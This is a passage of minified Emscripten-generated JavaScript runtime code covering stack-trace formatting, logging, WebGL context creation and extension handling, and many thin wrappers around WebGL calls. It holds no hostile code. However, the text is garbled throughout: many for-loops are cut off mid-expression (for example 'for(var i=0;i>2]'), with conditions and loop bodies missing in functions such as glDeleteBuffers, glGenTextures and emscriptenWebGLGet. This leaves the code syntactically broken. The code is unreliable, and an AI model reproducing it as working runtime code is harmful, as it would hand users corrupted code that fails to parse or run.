stack_args=null;if(flags&128){stack_args=__emscripten_traverse_stack(arguments);while(stack_args[1].indexOf("_emscripten_")>=0)stack_args=__emscripten_traverse_stack(stack_args[0])}var lines=callstack.split("\n");callstack="";var newFirefoxRe=new RegExp("\\s*(.*?)@(.*?):([0-9]+):([0-9]+)");var firefoxRe=new RegExp("\\s*(.*?)@(.*):(.*)(:(.*))?");var chromeRe=new RegExp("\\s*at (.*?) \\((.*):(.*):(.*)\\)");for(var l in lines){var line=lines[l];var jsSymbolName="";var file="";var lineno=0;var column=0;var parts=chromeRe.exec(line);if(parts&&parts.length==5){jsSymbolName=parts[1];file=parts[2];lineno=parts[3];column=parts[4]}else{parts=newFirefoxRe.exec(line);if(!parts)parts=firefoxRe.exec(line);if(parts&&parts.length>=4){jsSymbolName=parts[1];file=parts[2];lineno=parts[3];column=parts[4]|0}else{callstack+=line+"\n";continue}}var cSymbolName=flags&32?demangle(jsSymbolName):jsSymbolName;if(!cSymbolName){cSymbolName=jsSymbolName}var haveSourceMap=false;if(flags&8){var orig=emscripten_source_map.originalPositionFor({line:lineno,column:column});haveSourceMap=orig&&orig.source;if(haveSourceMap){if(flags&64){orig.source=orig.source.substring(orig.source.replace(/\\/g,"/").lastIndexOf("/")+1)}callstack+=" at "+cSymbolName+" ("+orig.source+":"+orig.line+":"+orig.column+")\n"}}if(flags&16||!haveSourceMap){if(flags&64){file=file.substring(file.replace(/\\/g,"/").lastIndexOf("/")+1)}callstack+=(haveSourceMap?" = "+jsSymbolName:" at "+cSymbolName)+" ("+file+":"+lineno+":"+column+")\n"}if(flags&128&&stack_args[0]){if(stack_args[1]==jsSymbolName&&stack_args[2].length>0){callstack=callstack.replace(/\s+$/,"");callstack+=" with values: "+stack_args[1]+stack_args[2]+"\n"}stack_args=__emscripten_traverse_stack(stack_args[0])}}callstack=callstack.replace(/\s+$/,"");return callstack}function _emscripten_log_js(flags,str){if(flags&24){str=str.replace(/\s+$/,"");str+=(str.length>0?"\n":"")+_emscripten_get_callstack_js(flags)}if(flags&1){if(flags&4){console.error(str)}else if(flags&2){console.warn(str)}else{console.log(str)}}else if(flags&6){err(str)}else{out(str)}}function _emscripten_log(flags,varargs){var format=HEAP32[varargs>>2];varargs+=4;var str="";if(format){var result=__formatString(format,varargs);for(var i=0;i>2];if(len<0){frag=Pointer_stringify(HEAP32[string+i*4>>2])}else{frag=Pointer_stringify(HEAP32[string+i*4>>2],len)}}else{frag=Pointer_stringify(HEAP32[string+i*4>>2])}source+=frag}return source}),createContext:(function(canvas,webGLContextAttributes){if(typeof webGLContextAttributes["majorVersion"]==="undefined"&&typeof webGLContextAttributes["minorVersion"]==="undefined"){if(typeof WebGL2RenderingContext!=="undefined")webGLContextAttributes["majorVersion"]=2;else webGLContextAttributes["majorVersion"]=1;webGLContextAttributes["minorVersion"]=0}var ctx;var errorInfo="?";function onContextCreationError(event){errorInfo=event.statusMessage||errorInfo}webGLContextAttributes["powerPreference"]="high-performance";try{canvas.addEventListener("webglcontextcreationerror",onContextCreationError,false);try{if(webGLContextAttributes["majorVersion"]==1&&webGLContextAttributes["minorVersion"]==0){ctx=canvas.getContext("webgl",webGLContextAttributes)||canvas.getContext("experimental-webgl",webGLContextAttributes)}else if(webGLContextAttributes["majorVersion"]==2&&webGLContextAttributes["minorVersion"]==0){ctx=canvas.getContext("webgl2",webGLContextAttributes)}else{throw"Unsupported WebGL context version "+majorVersion+"."+minorVersion+"!"}}finally{canvas.removeEventListener("webglcontextcreationerror",onContextCreationError,false)}if(!ctx)throw":("}catch(e){out("Could not create canvas: "+[errorInfo,e,JSON.stringify(webGLContextAttributes)]);return 0}if(!ctx)return 0;var context=GL.registerContext(ctx,webGLContextAttributes);return context}),registerContext:(function(ctx,webGLContextAttributes){var handle=_malloc(8);HEAP32[handle>>2]=webGLContextAttributes["explicitSwapControl"];var context={handle:handle,attributes:webGLContextAttributes,version:webGLContextAttributes["majorVersion"],GLctx:ctx};function getChromeVersion(){var raw=navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./);return raw?parseInt(raw[2],10):false}context.supportsWebGL2EntryPoints=context.version>=2&&(getChromeVersion()===false||getChromeVersion()>=58);if(ctx.canvas)ctx.canvas.GLctxObject=context;GL.contexts[handle]=context;if(typeof webGLContextAttributes["enableExtensionsByDefault"]==="undefined"||webGLContextAttributes["enableExtensionsByDefault"]){GL.initExtensions(context)}if(webGLContextAttributes["renderViaOffscreenBackBuffer"]){return 0}return handle}),makeContextCurrent:(function(contextHandle){if(!contextHandle){GLctx=Module.ctx=GL.currentContext=null;return true}var context=GL.contexts[contextHandle];if(!context){return false}GLctx=Module.ctx=context.GLctx;GL.currentContext=context;return true}),getContext:(function(contextHandle){return GL.contexts[contextHandle]}),deleteContext:(function(contextHandle){if(!contextHandle)return;if(GL.currentContext===GL.contexts[contextHandle])GL.currentContext=null;if(typeof JSEvents==="object")JSEvents.removeAllHandlersOnTarget(GL.contexts[contextHandle].GLctx.canvas);if(GL.contexts[contextHandle]&&GL.contexts[contextHandle].GLctx.canvas)GL.contexts[contextHandle].GLctx.canvas.GLctxObject=undefined;_free(GL.contexts[contextHandle]);GL.contexts[contextHandle]=null}),initExtensions:(function(context){if(!context)context=GL.currentContext;if(context.initExtensionsDone)return;context.initExtensionsDone=true;var GLctx=context.GLctx;context.maxVertexAttribs=GLctx.getParameter(GLctx.MAX_VERTEX_ATTRIBS);if(context.version<2){var instancedArraysExt=GLctx.getExtension("ANGLE_instanced_arrays");if(instancedArraysExt){GLctx["vertexAttribDivisor"]=(function(index,divisor){instancedArraysExt["vertexAttribDivisorANGLE"](index,divisor)});GLctx["drawArraysInstanced"]=(function(mode,first,count,primcount){instancedArraysExt["drawArraysInstancedANGLE"](mode,first,count,primcount)});GLctx["drawElementsInstanced"]=(function(mode,count,type,indices,primcount){instancedArraysExt["drawElementsInstancedANGLE"](mode,count,type,indices,primcount)})}var vaoExt=GLctx.getExtension("OES_vertex_array_object");if(vaoExt){GLctx["createVertexArray"]=(function(){return vaoExt["createVertexArrayOES"]()});GLctx["deleteVertexArray"]=(function(vao){vaoExt["deleteVertexArrayOES"](vao)});GLctx["bindVertexArray"]=(function(vao){vaoExt["bindVertexArrayOES"](vao)});GLctx["isVertexArray"]=(function(vao){return vaoExt["isVertexArrayOES"](vao)})}var drawBuffersExt=GLctx.getExtension("WEBGL_draw_buffers");if(drawBuffersExt){GLctx["drawBuffers"]=(function(n,bufs){drawBuffersExt["drawBuffersWEBGL"](n,bufs)})}}GLctx.disjointTimerQueryExt=GLctx.getExtension("EXT_disjoint_timer_query");var automaticallyEnabledExtensions=["OES_texture_float","OES_texture_half_float","OES_standard_derivatives","OES_vertex_array_object","WEBGL_compressed_texture_s3tc","WEBGL_depth_texture","OES_element_index_uint","EXT_texture_filter_anisotropic","EXT_frag_depth","WEBGL_draw_buffers","ANGLE_instanced_arrays","OES_texture_float_linear","OES_texture_half_float_linear","EXT_blend_minmax","EXT_shader_texture_lod","EXT_texture_norm16","WEBGL_compressed_texture_pvrtc","EXT_color_buffer_half_float","WEBGL_color_buffer_float","EXT_sRGB","WEBGL_compressed_texture_etc1","EXT_disjoint_timer_query","WEBGL_compressed_texture_etc","WEBGL_compressed_texture_astc","EXT_color_buffer_float","WEBGL_compressed_texture_s3tc_srgb","EXT_disjoint_timer_query_webgl2","WEBKIT_WEBGL_compressed_texture_pvrtc"];var exts=GLctx.getSupportedExtensions();if(exts&&exts.length>0){GLctx.getSupportedExtensions().forEach((function(ext){if(automaticallyEnabledExtensions.indexOf(ext)!=-1){GLctx.getExtension(ext)}}))}}),populateUniformTable:(function(program){var p=GL.programs[program];GL.programInfos[program]={uniforms:{},maxUniformLength:0,maxAttributeLength:-1,maxUniformBlockNameLength:-1};var ptable=GL.programInfos[program];var utable=ptable.uniforms;var numUniforms=GLctx.getProgramParameter(p,GLctx.ACTIVE_UNIFORMS);for(var i=0;i>2];contextAttributes["depth"]=!!HEAP32[attributes+4>>2];contextAttributes["stencil"]=!!HEAP32[attributes+8>>2];contextAttributes["antialias"]=!!HEAP32[attributes+12>>2];contextAttributes["premultipliedAlpha"]=!!HEAP32[attributes+16>>2];contextAttributes["preserveDrawingBuffer"]=!!HEAP32[attributes+20>>2];contextAttributes["preferLowPowerToHighPerformance"]=!!HEAP32[attributes+24>>2];contextAttributes["failIfMajorPerformanceCaveat"]=!!HEAP32[attributes+28>>2];contextAttributes["majorVersion"]=HEAP32[attributes+32>>2];contextAttributes["minorVersion"]=HEAP32[attributes+36>>2];contextAttributes["explicitSwapControl"]=HEAP32[attributes+44>>2];contextAttributes["proxyContextToMainThread"]=HEAP32[attributes+48>>2];contextAttributes["renderViaOffscreenBackBuffer"]=HEAP32[attributes+52>>2];target=Pointer_stringify(target);var canvas;if((!target||target==="#canvas")&&Module["canvas"]){canvas=Module["canvas"].id&&GL.offscreenCanvases[Module["canvas"].id]?GL.offscreenCanvases[Module["canvas"].id].offscreenCanvas||JSEvents.findEventTarget(Module["canvas"].id):Module["canvas"]}else{canvas=GL.offscreenCanvases[target]?GL.offscreenCanvases[target].offscreenCanvas:JSEvents.findEventTarget(target)}if(!canvas){return 0}if(contextAttributes["explicitSwapControl"]){return 0}var contextHandle=GL.createContext(canvas,contextAttributes);return contextHandle}function _emscripten_webgl_create_context(){return _emscripten_webgl_do_create_context.apply(null,arguments)}function _emscripten_webgl_destroy_context_calling_thread(contextHandle){GL.deleteContext(contextHandle)}function _emscripten_webgl_destroy_context(){return _emscripten_webgl_destroy_context_calling_thread.apply(null,arguments)}function _emscripten_webgl_enable_extension_calling_thread(contextHandle,extension){var context=GL.getContext(contextHandle);var extString=Pointer_stringify(extension);if(extString.indexOf("GL_")==0)extString=extString.substr(3);var ext=context.GLctx.getExtension(extString);return ext?1:0}function _emscripten_webgl_enable_extension(){return _emscripten_webgl_enable_extension_calling_thread.apply(null,arguments)}function _emscripten_webgl_do_get_current_context(){return GL.currentContext?GL.currentContext.handle:0}function _emscripten_webgl_get_current_context(){return _emscripten_webgl_do_get_current_context.apply(null,arguments)}function _emscripten_webgl_init_context_attributes(attributes){HEAP32[attributes>>2]=1;HEAP32[attributes+4>>2]=1;HEAP32[attributes+8>>2]=0;HEAP32[attributes+12>>2]=1;HEAP32[attributes+16>>2]=1;HEAP32[attributes+20>>2]=0;HEAP32[attributes+24>>2]=0;HEAP32[attributes+28>>2]=0;HEAP32[attributes+32>>2]=1;HEAP32[attributes+36>>2]=0;HEAP32[attributes+40>>2]=1;HEAP32[attributes+44>>2]=0;HEAP32[attributes+48>>2]=0;HEAP32[attributes+52>>2]=0}function _emscripten_webgl_make_context_current(contextHandle){var success=GL.makeContextCurrent(contextHandle);return success?0:-5}function __exit(status){exit(status)}function _exit(status){__exit(status)}function _flock(fd,operation){return 0}function _getenv(name){if(name===0)return 0;name=Pointer_stringify(name);if(!ENV.hasOwnProperty(name))return 0;if(_getenv.ret)_free(_getenv.ret);_getenv.ret=allocateUTF8(ENV[name]);return _getenv.ret}function _gethostbyname(name){name=Pointer_stringify(name);var ret=_malloc(20);var nameBuf=_malloc(name.length+1);stringToUTF8(name,nameBuf,name.length+1);HEAP32[ret>>2]=nameBuf;var aliasesBuf=_malloc(4);HEAP32[aliasesBuf>>2]=0;HEAP32[ret+4>>2]=aliasesBuf;var afinet=2;HEAP32[ret+8>>2]=afinet;HEAP32[ret+12>>2]=4;var addrListBuf=_malloc(12);HEAP32[addrListBuf>>2]=addrListBuf+8;HEAP32[addrListBuf+4>>2]=0;HEAP32[addrListBuf+8>>2]=__inet_pton4_raw(DNS.lookup_name(name));HEAP32[ret+16>>2]=addrListBuf;return ret}function _gethostbyaddr(addr,addrlen,type){if(type!==2){___setErrNo(ERRNO_CODES.EAFNOSUPPORT);return null}addr=HEAP32[addr>>2];var host=__inet_ntop4_raw(addr);var lookup=DNS.lookup_addr(host);if(lookup){host=lookup}var hostp=allocate(intArrayFromString(host),"i8",ALLOC_STACK);return _gethostbyname(hostp)}function _getpagesize(){return PAGE_SIZE}function _getpwuid(uid){return 0}function _gettimeofday(ptr){var now=Date.now();HEAP32[ptr>>2]=now/1e3|0;HEAP32[ptr+4>>2]=now%1e3*1e3|0;return 0}function _glActiveTexture(x0){GLctx["activeTexture"](x0)}function _glAttachShader(program,shader){GLctx.attachShader(GL.programs[program],GL.shaders[shader])}function _glBeginQuery(target,id){GLctx["beginQuery"](target,id?GL.queries[id]:null)}function _glBeginTransformFeedback(x0){GLctx["beginTransformFeedback"](x0)}function _glBindAttribLocation(program,index,name){name=Pointer_stringify(name);GLctx.bindAttribLocation(GL.programs[program],index,name)}function _glBindBuffer(target,buffer){var bufferObj=buffer?GL.buffers[buffer]:null;if(target==35051){GLctx.currentPixelPackBufferBinding=buffer}else if(target==35052){GLctx.currentPixelUnpackBufferBinding=buffer}GLctx.bindBuffer(target,bufferObj)}function _glBindBufferBase(target,index,buffer){var bufferObj=buffer?GL.buffers[buffer]:null;GLctx["bindBufferBase"](target,index,bufferObj)}function _glBindBufferRange(target,index,buffer,offset,ptrsize){var bufferObj=buffer?GL.buffers[buffer]:null;GLctx["bindBufferRange"](target,index,bufferObj,offset,ptrsize)}function _glBindFramebuffer(target,framebuffer){GLctx.bindFramebuffer(target,framebuffer?GL.framebuffers[framebuffer]:null)}function _glBindRenderbuffer(target,renderbuffer){GLctx.bindRenderbuffer(target,renderbuffer?GL.renderbuffers[renderbuffer]:null)}function _glBindSampler(unit,sampler){GLctx["bindSampler"](unit,sampler?GL.samplers[sampler]:null)}function _glBindTexture(target,texture){GLctx.bindTexture(target,texture?GL.textures[texture]:null)}function _glBindTransformFeedback(target,id){var transformFeedback=id?GL.transformFeedbacks[id]:null;if(id&&!transformFeedback){GL.recordError(1282);return}GLctx["bindTransformFeedback"](target,transformFeedback)}function _glBindVertexArray(vao){GLctx["bindVertexArray"](GL.vaos[vao])}function _glBlendEquation(x0){GLctx["blendEquation"](x0)}function _glBlendEquationSeparate(x0,x1){GLctx["blendEquationSeparate"](x0,x1)}function _glBlendFuncSeparate(x0,x1,x2,x3){GLctx["blendFuncSeparate"](x0,x1,x2,x3)}function _glBlitFramebuffer(x0,x1,x2,x3,x4,x5,x6,x7,x8,x9){GLctx["blitFramebuffer"](x0,x1,x2,x3,x4,x5,x6,x7,x8,x9)}function _glBufferData(target,size,data,usage){if(!data){GLctx.bufferData(target,size,usage)}else{if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.bufferData(target,HEAPU8,usage,data,size);return}GLctx.bufferData(target,HEAPU8.subarray(data,data+size),usage)}}function _glBufferSubData(target,offset,size,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.bufferSubData(target,offset,HEAPU8,data,size);return}GLctx.bufferSubData(target,offset,HEAPU8.subarray(data,data+size))}function _glCheckFramebufferStatus(x0){return GLctx["checkFramebufferStatus"](x0)}function _glClear(x0){GLctx["clear"](x0)}function _glClearBufferfi(x0,x1,x2,x3){GLctx["clearBufferfi"](x0,x1,x2,x3)}function _glClearBufferfv(buffer,drawbuffer,value){GLctx["clearBufferfv"](buffer,drawbuffer,HEAPF32,value>>2)}function _glClearBufferuiv(buffer,drawbuffer,value){GLctx["clearBufferuiv"](buffer,drawbuffer,HEAPU32,value>>2)}function _glClearColor(x0,x1,x2,x3){GLctx["clearColor"](x0,x1,x2,x3)}function _glClearDepthf(x0){GLctx["clearDepth"](x0)}function _glClearStencil(x0){GLctx["clearStencil"](x0)}function _glClientWaitSync(sync,flags,timeoutLo,timeoutHi){timeoutLo=timeoutLo>>>0;timeoutHi=timeoutHi>>>0;var timeout=timeoutLo==4294967295&&timeoutHi==4294967295?-1:makeBigInt(timeoutLo,timeoutHi,true);return GLctx.clientWaitSync(GL.syncs[sync],flags,timeout)}function _glColorMask(red,green,blue,alpha){GLctx.colorMask(!!red,!!green,!!blue,!!alpha)}function _glCompileShader(shader){GLctx.compileShader(GL.shaders[shader])}function _glCompressedTexImage2D(target,level,internalFormat,width,height,border,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx["compressedTexImage2D"](target,level,internalFormat,width,height,border,HEAPU8,data,imageSize);return}GLctx["compressedTexImage2D"](target,level,internalFormat,width,height,border,data?HEAPU8.subarray(data,data+imageSize):null)}function _glCompressedTexImage3D(target,level,internalFormat,width,height,depth,border,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx["compressedTexImage3D"](target,level,internalFormat,width,height,depth,border,HEAPU8,data,imageSize)}else{GLctx["compressedTexImage3D"](target,level,internalFormat,width,height,depth,border,data?HEAPU8.subarray(data,data+imageSize):null)}}function _glCompressedTexSubImage2D(target,level,xoffset,yoffset,width,height,format,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx["compressedTexSubImage2D"](target,level,xoffset,yoffset,width,height,format,HEAPU8,data,imageSize);return}GLctx["compressedTexSubImage2D"](target,level,xoffset,yoffset,width,height,format,data?HEAPU8.subarray(data,data+imageSize):null)}function _glCompressedTexSubImage3D(target,level,xoffset,yoffset,zoffset,width,height,depth,format,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx["compressedTexSubImage3D"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,HEAPU8,data,imageSize)}else{GLctx["compressedTexSubImage3D"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,data?HEAPU8.subarray(data,data+imageSize):null)}}function _glCopyBufferSubData(x0,x1,x2,x3,x4){GLctx["copyBufferSubData"](x0,x1,x2,x3,x4)}function _glCopyTexImage2D(x0,x1,x2,x3,x4,x5,x6,x7){GLctx["copyTexImage2D"](x0,x1,x2,x3,x4,x5,x6,x7)}function _glCopyTexSubImage2D(x0,x1,x2,x3,x4,x5,x6,x7){GLctx["copyTexSubImage2D"](x0,x1,x2,x3,x4,x5,x6,x7)}function _glCreateProgram(){var id=GL.getNewId(GL.programs);var program=GLctx.createProgram();program.name=id;GL.programs[id]=program;return id}function _glCreateShader(shaderType){var id=GL.getNewId(GL.shaders);GL.shaders[id]=GLctx.createShader(shaderType);return id}function _glCullFace(x0){GLctx["cullFace"](x0)}function _glDeleteBuffers(n,buffers){for(var i=0;i>2];var buffer=GL.buffers[id];if(!buffer)continue;GLctx.deleteBuffer(buffer);buffer.name=0;GL.buffers[id]=null;if(id==GL.currArrayBuffer)GL.currArrayBuffer=0;if(id==GL.currElementArrayBuffer)GL.currElementArrayBuffer=0}}function _glDeleteFramebuffers(n,framebuffers){for(var i=0;i>2];var framebuffer=GL.framebuffers[id];if(!framebuffer)continue;GLctx.deleteFramebuffer(framebuffer);framebuffer.name=0;GL.framebuffers[id]=null}}function _glDeleteProgram(id){if(!id)return;var program=GL.programs[id];if(!program){GL.recordError(1281);return}GLctx.deleteProgram(program);program.name=0;GL.programs[id]=null;GL.programInfos[id]=null}function _glDeleteQueries(n,ids){for(var i=0;i>2];var query=GL.queries[id];if(!query)continue;GLctx["deleteQuery"](query);GL.queries[id]=null}}function _glDeleteRenderbuffers(n,renderbuffers){for(var i=0;i>2];var renderbuffer=GL.renderbuffers[id];if(!renderbuffer)continue;GLctx.deleteRenderbuffer(renderbuffer);renderbuffer.name=0;GL.renderbuffers[id]=null}}function _glDeleteSamplers(n,samplers){for(var i=0;i>2];var sampler=GL.samplers[id];if(!sampler)continue;GLctx["deleteSampler"](sampler);sampler.name=0;GL.samplers[id]=null}}function _glDeleteShader(id){if(!id)return;var shader=GL.shaders[id];if(!shader){GL.recordError(1281);return}GLctx.deleteShader(shader);GL.shaders[id]=null}function _glDeleteSync(id){if(!id)return;var sync=GL.syncs[id];if(!sync){GL.recordError(1281);return}GLctx.deleteSync(sync);sync.name=0;GL.syncs[id]=null}function _glDeleteTextures(n,textures){for(var i=0;i>2];var texture=GL.textures[id];if(!texture)continue;GLctx.deleteTexture(texture);texture.name=0;GL.textures[id]=null}}function _glDeleteTransformFeedbacks(n,ids){for(var i=0;i>2];var transformFeedback=GL.transformFeedbacks[id];if(!transformFeedback)continue;GLctx["deleteTransformFeedback"](transformFeedback);transformFeedback.name=0;GL.transformFeedbacks[id]=null}}function _glDeleteVertexArrays(n,vaos){for(var i=0;i>2];GLctx["deleteVertexArray"](GL.vaos[id]);GL.vaos[id]=null}}function _glDepthFunc(x0){GLctx["depthFunc"](x0)}function _glDepthMask(flag){GLctx.depthMask(!!flag)}function _glDetachShader(program,shader){GLctx.detachShader(GL.programs[program],GL.shaders[shader])}function _glDisable(x0){GLctx["disable"](x0)}function _glDisableVertexAttribArray(index){GLctx.disableVertexAttribArray(index)}function _glDrawArrays(mode,first,count){GLctx.drawArrays(mode,first,count)}function _glDrawArraysInstanced(mode,first,count,primcount){GLctx["drawArraysInstanced"](mode,first,count,primcount)}function _glDrawBuffers(n,bufs){var bufArray=GL.tempFixedLengthArray[n];for(var i=0;i>2]}GLctx["drawBuffers"](bufArray)}function _glDrawElements(mode,count,type,indices){GLctx.drawElements(mode,count,type,indices)}function _glDrawElementsInstanced(mode,count,type,indices,primcount){GLctx["drawElementsInstanced"](mode,count,type,indices,primcount)}function _glEnable(x0){GLctx["enable"](x0)}function _glEnableVertexAttribArray(index){GLctx.enableVertexAttribArray(index)}function _glEndQuery(x0){GLctx["endQuery"](x0)}function _glEndTransformFeedback(){GLctx["endTransformFeedback"]()}function _glFenceSync(condition,flags){var sync=GLctx.fenceSync(condition,flags);if(sync){var id=GL.getNewId(GL.syncs);sync.name=id;GL.syncs[id]=sync;return id}else{return 0}}function _glFinish(){GLctx["finish"]()}function _glFlush(){GLctx["flush"]()}function emscriptenWebGLGetBufferBinding(target){switch(target){case 34962:target=34964;break;case 34963:target=34965;break;case 35051:target=35053;break;case 35052:target=35055;break;case 35982:target=35983;break;case 36662:target=36662;break;case 36663:target=36663;break;case 35345:target=35368;break}var buffer=GLctx.getParameter(target);if(buffer)return buffer.name|0;else return 0}function emscriptenWebGLValidateMapBufferTarget(target){switch(target){case 34962:case 34963:case 36662:case 36663:case 35051:case 35052:case 35882:case 35982:case 35345:return true;default:return false}}function _glFlushMappedBufferRange(target,offset,length){if(!emscriptenWebGLValidateMapBufferTarget(target)){GL.recordError(1280);err("GL_INVALID_ENUM in glFlushMappedBufferRange");return}var mapping=GL.mappedBuffers[emscriptenWebGLGetBufferBinding(target)];if(!mapping){GL.recordError(1282);Module.printError("buffer was never mapped in glFlushMappedBufferRange");return}if(!(mapping.access&16)){GL.recordError(1282);Module.printError("buffer was not mapped with GL_MAP_FLUSH_EXPLICIT_BIT in glFlushMappedBufferRange");return}if(offset<0||length<0||offset+length>mapping.length){GL.recordError(1281);Module.printError("invalid range in glFlushMappedBufferRange");return}GLctx.bufferSubData(target,mapping.offset,HEAPU8.subarray(mapping.mem+offset,mapping.mem+offset+length))}function _glFramebufferRenderbuffer(target,attachment,renderbuffertarget,renderbuffer){GLctx.framebufferRenderbuffer(target,attachment,renderbuffertarget,GL.renderbuffers[renderbuffer])}function _glFramebufferTexture2D(target,attachment,textarget,texture,level){GLctx.framebufferTexture2D(target,attachment,textarget,GL.textures[texture],level)}function _glFramebufferTextureLayer(target,attachment,texture,level,layer){GLctx.framebufferTextureLayer(target,attachment,GL.textures[texture],level,layer)}function _glFrontFace(x0){GLctx["frontFace"](x0)}function _glGenBuffers(n,buffers){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.buffers);buffer.name=id;GL.buffers[id]=buffer;HEAP32[buffers+i*4>>2]=id}}function _glGenFramebuffers(n,ids){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.framebuffers);framebuffer.name=id;GL.framebuffers[id]=framebuffer;HEAP32[ids+i*4>>2]=id}}function _glGenQueries(n,ids){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.queries);query.name=id;GL.queries[id]=query;HEAP32[ids+i*4>>2]=id}}function _glGenRenderbuffers(n,renderbuffers){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.renderbuffers);renderbuffer.name=id;GL.renderbuffers[id]=renderbuffer;HEAP32[renderbuffers+i*4>>2]=id}}function _glGenSamplers(n,samplers){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.samplers);sampler.name=id;GL.samplers[id]=sampler;HEAP32[samplers+i*4>>2]=id}}function _glGenTextures(n,textures){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.textures);texture.name=id;GL.textures[id]=texture;HEAP32[textures+i*4>>2]=id}}function _glGenTransformFeedbacks(n,ids){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.transformFeedbacks);transformFeedback.name=id;GL.transformFeedbacks[id]=transformFeedback;HEAP32[ids+i*4>>2]=id}}function _glGenVertexArrays(n,arrays){for(var i=0;i>2]=0;return}var id=GL.getNewId(GL.vaos);vao.name=id;GL.vaos[id]=vao;HEAP32[arrays+i*4>>2]=id}}function _glGenerateMipmap(x0){GLctx["generateMipmap"](x0)}function _glGetActiveAttrib(program,index,bufSize,length,size,type,name){program=GL.programs[program];var info=GLctx.getActiveAttrib(program,index);if(!info)return;if(bufSize>0&&name){var numBytesWrittenExclNull=stringToUTF8(info.name,name,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}if(size)HEAP32[size>>2]=info.size;if(type)HEAP32[type>>2]=info.type}function _glGetActiveUniform(program,index,bufSize,length,size,type,name){program=GL.programs[program];var info=GLctx.getActiveUniform(program,index);if(!info)return;if(bufSize>0&&name){var numBytesWrittenExclNull=stringToUTF8(info.name,name,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}if(size)HEAP32[size>>2]=info.size;if(type)HEAP32[type>>2]=info.type}function _glGetActiveUniformBlockName(program,uniformBlockIndex,bufSize,length,uniformBlockName){program=GL.programs[program];var result=GLctx["getActiveUniformBlockName"](program,uniformBlockIndex);if(!result)return;if(uniformBlockName&&bufSize>0){var numBytesWrittenExclNull=stringToUTF8(result,uniformBlockName,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetActiveUniformBlockiv(program,uniformBlockIndex,pname,params){if(!params){GL.recordError(1281);return}program=GL.programs[program];switch(pname){case 35393:var name=GLctx["getActiveUniformBlockName"](program,uniformBlockIndex);HEAP32[params>>2]=name.length+1;return;default:var result=GLctx["getActiveUniformBlockParameter"](program,uniformBlockIndex,pname);if(!result)return;if(typeof result=="number"){HEAP32[params>>2]=result}else{for(var i=0;i>2]=result[i]}}}}function _glGetActiveUniformsiv(program,uniformCount,uniformIndices,pname,params){if(!params){GL.recordError(1281);return}if(uniformCount>0&&uniformIndices==0){GL.recordError(1281);return}program=GL.programs[program];var ids=[];for(var i=0;i>2])}var result=GLctx["getActiveUniforms"](program,ids,pname);if(!result)return;var len=result.length;for(var i=0;i>2]=result[i]}}function _glGetAttribLocation(program,name){return GLctx.getAttribLocation(GL.programs[program],Pointer_stringify(name))}function _glGetError(){if(GL.lastError){var error=GL.lastError;GL.lastError=0;return error}else{return GLctx.getError()}}function _glGetFramebufferAttachmentParameteriv(target,attachment,pname,params){var result=GLctx.getFramebufferAttachmentParameter(target,attachment,pname);if(result instanceof WebGLRenderbuffer||result instanceof WebGLTexture){result=result.name|0}HEAP32[params>>2]=result}function emscriptenWebGLGetIndexed(target,index,data,type){if(!data){GL.recordError(1281);return}var result=GLctx["getIndexedParameter"](target,index);var ret;switch(typeof result){case"boolean":ret=result?1:0;break;case"number":ret=result;break;case"object":if(result===null){switch(target){case 35983:case 35368:ret=0;break;default:{GL.recordError(1280);return}}}else if(result instanceof WebGLBuffer){ret=result.name|0}else{GL.recordError(1280);return}break;default:GL.recordError(1280);return}switch(type){case"Integer64":tempI64=[ret>>>0,(tempDouble=ret,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[data>>2]=tempI64[0],HEAP32[data+4>>2]=tempI64[1];break;case"Integer":HEAP32[data>>2]=ret;break;case"Float":HEAPF32[data>>2]=ret;break;case"Boolean":HEAP8[data>>0]=ret?1:0;break;default:throw"internal emscriptenWebGLGetIndexed() error, bad type: "+type}}function _glGetIntegeri_v(target,index,data){emscriptenWebGLGetIndexed(target,index,data,"Integer")}function emscriptenWebGLGet(name_,p,type){if(!p){GL.recordError(1281);return}var ret=undefined;switch(name_){case 36346:ret=1;break;case 36344:if(type!=="Integer"&&type!=="Integer64"){GL.recordError(1280)}return;case 34814:case 36345:ret=0;break;case 34466:var formats=GLctx.getParameter(34467);ret=formats.length;break;case 33309:if(GLctx.canvas.GLctxObject.version<2){GL.recordError(1282);return}var exts=GLctx.getSupportedExtensions();ret=2*exts.length;break;case 33307:case 33308:if(GLctx.canvas.GLctxObject.version<2){GL.recordError(1280);return}ret=name_==33307?3:0;break}if(ret===undefined){var result=GLctx.getParameter(name_);switch(typeof result){case"number":ret=result;break;case"boolean":ret=result?1:0;break;case"string":GL.recordError(1280);return;case"object":if(result===null){switch(name_){case 34964:case 35725:case 34965:case 36006:case 36007:case 32873:case 34229:case 35097:case 36389:case 34068:{ret=0;break};default:{GL.recordError(1280);return}}}else if(result instanceof Float32Array||result instanceof Uint32Array||result instanceof Int32Array||result instanceof Array){for(var i=0;i>2]=result[i];break;case"Float":HEAPF32[p+i*4>>2]=result[i];break;case"Boolean":HEAP8[p+i>>0]=result[i]?1:0;break;default:throw"internal glGet error, bad type: "+type}}return}else if(result instanceof WebGLBuffer||result instanceof WebGLProgram||result instanceof WebGLFramebuffer||result instanceof WebGLRenderbuffer||result instanceof WebGLQuery||result instanceof WebGLSampler||result instanceof WebGLSync||result instanceof 